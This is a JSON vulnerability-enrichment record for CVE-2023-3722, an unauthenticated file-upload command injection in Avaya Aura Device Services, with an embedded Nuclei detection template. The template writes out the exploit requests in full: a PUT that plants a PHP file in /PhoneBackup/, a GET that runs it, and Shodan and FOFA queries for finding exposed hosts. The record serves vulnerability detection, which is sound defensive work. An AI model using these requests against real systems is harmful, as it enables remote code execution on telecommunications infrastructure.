{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-3722/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-3722/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-3722/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-3722/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-3722/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-3722"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-3722"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.0386,
      "kev": false,
      "percentile": 0.89704
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-3722.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-3722\n\ninfo:\n  name: Avaya Aura Device Services - OS Command Injection\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    An OS command injection vulnerability was found in the Avaya Aura Device Services Web application which could allow remote code execution as the Web server user via a malicious uploaded file. This issue affects Avaya Aura Device Services version 8.1.4.0 and earlier.\n  impact: |\n    Unauthenticated attackers can upload malicious PHP files to execute arbitrary code with web server privileges on Avaya Aura Device Services, potentially compromising VoIP infrastructure and accessing telecommunications data.\n  remediation: |\n    Update Avaya Aura Device Services to a version newer than 8.1.4.0 that validates uploaded files and restricts code execution in the PhoneBackup directory.\n  reference:\n    - https://github.com/pizza-power/CVE-2023-3722\n    - https://download.avaya.com/css/public/documents/101076366\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n    cvss-score: 8.6\n    cve-id: CVE-2023-3722\n    cwe-id: CWE-434\n    epss-score: 0.0386\n    epss-percentile: 0.89704\n    cpe: cpe:2.3:a:avaya:aura_device_services:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: avaya\n    product: aura_device_services\n    shodan-query: html:\"Avaya Aura&reg;&nbsp;Utility Services\"\n    fofa-query: body=\"Avaya Aura&reg;&nbsp;Utility Services\"\n  tags: cve,cve2023,avaya,rce,upload,deviceservices,intrusive,vkev,vuln\n\nvariables:\n  filename: \"{{randbase(8)}}\"\n  marker: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        PUT /PhoneBackup/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: AVAYA\n\n        <?phP echo base64_decode($_GET['input']); ?>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'contains(body, \"Resource /PhoneBackup/{{filename}}.php has been created.\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /PhoneBackup/{{filename}}.php?input={{base64(marker)}} HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: AVAYA\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{marker}}\")'\n        condition: and\n# digest: 4a0a00473045022100c9982707f508b62fd1c1dba47fd9c7c228247d83412c807f1c64acd0d9f620ef022023fb60c860dddf13a452b018d3aa6a5a5dc5ad03956bb1f244bc1177f7f0a09d:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-3722"
}